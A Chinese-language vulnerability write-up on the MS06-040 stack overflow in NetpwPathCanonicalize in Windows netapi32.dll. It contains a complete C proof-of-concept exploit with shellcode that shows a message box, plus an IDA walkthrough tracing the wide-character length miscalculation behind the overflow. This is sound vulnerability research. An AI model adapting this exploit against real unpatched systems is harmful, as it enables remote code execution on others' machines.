一、漏洞信息
[出自:jiwo.org]
1. 漏洞简述
2. 组件概述
netapi32.dll是Windows网络应用程序接口,用于支持访问微软网络。
3. 漏洞利用
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\xB9\xFE\xB9\xFE" // push "哈哈"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\xD0\xA1\xEA\xCA"
"\x68\x20\x62\x79\x3A"
"\x68\xB2\xE2\xCA\xD4"
"\x68\xD2\xE7\xB3\xF6" // push "溢出测试 by:小晔"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
int main()
{
// 设置第二段路径字符串的长度为0x21A
char lpWideCharStr[0x21A];
// 设置用于接收格式化后的字符串的缓冲区空间为0x420
char arg_4[0x420];
// 表明arg_4的大小,设置和arg_4的缓冲区大小一致即可
int arg_8 = 0x420;
// 设置第一段路径字符串的长度为0x206,正好是门限大小
char arg_C[0x206];
long arg_10 = 1;
HINSTANCE libHandle; MYPROC funcAddr;
// 加载NETAPI32.dll函数
char dllName[] = "./NETAPI32.dll";
libHandle = LoadLibrary(dllName);
LoadLibrary("user32.dll");
// 获取函数NetpwPathCanonicalize()的地址
funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
// 验证是否获取成功,不成功则释放掉句柄资源
if ( libHandle == NULL || funcAddr == NULL )
{
MessageBox(0, "Load error!", "Warning", 0);
FreeLibrary(libHandle);
}
// 将路径字串的第一部分内容填充‘A’,末两位以\x00结束
memset(arg_C, 0, sizeof(arg_C));
memset(arg_C, 'A', sizeof(arg_C)-2);
// 将路径字串的第二部分内容填充‘B’,末两位以\x00结束
memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
// 将shellcode植入溢出代码的起始位置
memcpy(arg_C, ShellCode, sizeof(ShellCode));
// call ecx
lpWideCharStr[0x212] = 0xF9;
lpWideCharStr[0x213] = 0x52;
lpWideCharStr[0x214] = 0x18;
lpWideCharStr[0x215] = 0x75;
// 调用NetpwPathCanonicalize()函数
(funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
// 释放句柄资源
FreeLibrary(libHandle);
// 返回
return 0;
}
4. 漏洞影响
远程执行代码
5. 解决方案
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2006/ms06-040redirectedfrom=MSDN#%E6%BC%8F%E6%B4%9E%E8%AF%A6%E7%BB%86%E8%B5%84%E6%96%99
二、漏洞复现
1. 环境搭建
Windows XP SP3
2. 复现过程
将漏洞利用源码编译之后将NETAPI32.DLL放在一个目录下,执行程序,弹出框。
三、漏洞分析
1. 基本信息
漏洞文件:NETAPI32.DLL漏洞函数:sub_7517FC68
2. 背景知识
了解汇编语言,使用IDA。
3. 详细分析
(1)静态分析
(1.1)首先我们先通过图片来大概理解一下该函数运行以及出现栈溢出的位置
(1.2)使用IDA打开文件NETAPI32.DLL,且在“Functions window”搜索函数sub_7517FC68。
(1.3)确定该函数的传参以及局部变量。
(2.4)初始化栈帧
(1.5)划分缓冲区为0X414h,我们知道栈溢出可以理解为大的缓冲区放入了小的缓冲区当中,造成了溢出情况。
(1.6)保存之前的环境,即寄存器的值入栈。用于执行完函数返回之前函数继续执行。
(1.7)第一个参数arg处理1.7.1 判断第一个参数arg长度是否为0,如果不为0则继续向下执行代码,否则跳转至标号“loc_7517FCED”处执行代码。
1.7.2 确定arg长度不为0,判断他的长度是否小于0X411h。
1.7.3 参数1确定长度范围在0~411h。那么接下来就是将参数1放入局部参数Dest并且判断字符串最后是否以"/"结尾。注意"0X5Ch"表示的是"\","0X2fh"表示的是"/"
(1.8)参数2处理1.8.1 接下来,我们来看一下针对第二个参数2 Source,函数有什么样的处理。第一步就是判断最后一个字符。
(1.9)变量str和变量Source长度之和与0x411h进行比较。大于0x411h就会退出。
(1.10)如何变量之和小于等于0x411h。注释:该位置导致溢出。详细原因请查看"3.漏洞函数分析"
2. 函数参数变化链
我们知道“sub_7517FC68”会导致栈溢出,那么,我们看看如何调用呢?首先我们选中sub_7517FC68,使用快捷键Ctrl+x。查看什么函数调用了sub_7517FC68。
双击打开。我们发现了调用位置,并且我们回顾一下,刚刚的分析当中,我们知道导致溢出是第一个参数,以及第二个参数。也就是图中标识位置。接下来,我们向上定位,看看,这个参数在这个“NetpwPathCanonicalize”是怎么一个变化的,并且关注这两个参数会不会有其他的限定变化。
接下来,我们首先看一下第一个参数“ebx”的值,我们向上看。
继续查看,“EBX”有当作压入栈充当过函数NetpwPathType。接下来,查看一下,该函数的的情况。
双击NetpwPathType打开进入函数,
EBX值进入,其长度会与0X103H进行对比,如果大于等于则跳转。
下面我们来看看loc_7517f54f。
仔细看看,发现loc_7517FC68发现第二个参数Source同样也会经过NetpwPathType函数,而该函数的作用就是将参数限定在0X103H以内。
接下来,我们来看看loc_7517fc68的第二个参数。
最后,我们总结一下函数参数的调用变化。也就是说,如果Sub_7517fc68函数的第一个参数和第二个参数会导致栈溢出,那么我们需要精心构造NetpwPathCanonicalize函数的第四个参数以及第一个参数。
3. 漏洞出现分析
由“1.静态分析”我们初步了解了一下函数“sub_7517FC68”的功能,大体是将传入的参数str以及参数Source进行拼接。并且通过“函数参数变化链” 我们知道了参数的变化。那么我们来看看具体是怎么一个溢出的情况。
我们进入loc_7517fc68函数当中。来看看wcslen函数。
wcslen函数返回的是一个宽字节的长度的字符。举个例子来说明,假设该函数返回的是3宽字节长度,实际占用的空间是3*2字节。
我们着重看下图代码位置:
首先,我们来看第一个参数,他是str,因为函数NetpwPathType的限定,所以str最大能够占用的字节数为0x206h。
那么我们知道缓冲区的空间大小是0X414H,又因为获取字符串长度使用的函数是wcslen,该函数返回的是宽字节长度。即假设0x41Ch字节数,wcslen返回的长度为0x20eh。这样的话,即使通过了字符串长度验证,依旧会在字符串拼接位置导致溢出。因为41ch+206h=622h > 414h。
四、思考
该漏洞主要是忽略了wcslen函数返回的是宽字节长度问题,拼接溢出。
函数wscat可能造成溢出,原因位于,wscat得拼接是识别前一个字符串字符“00 00”识别到出现该位置即执行拼接操作。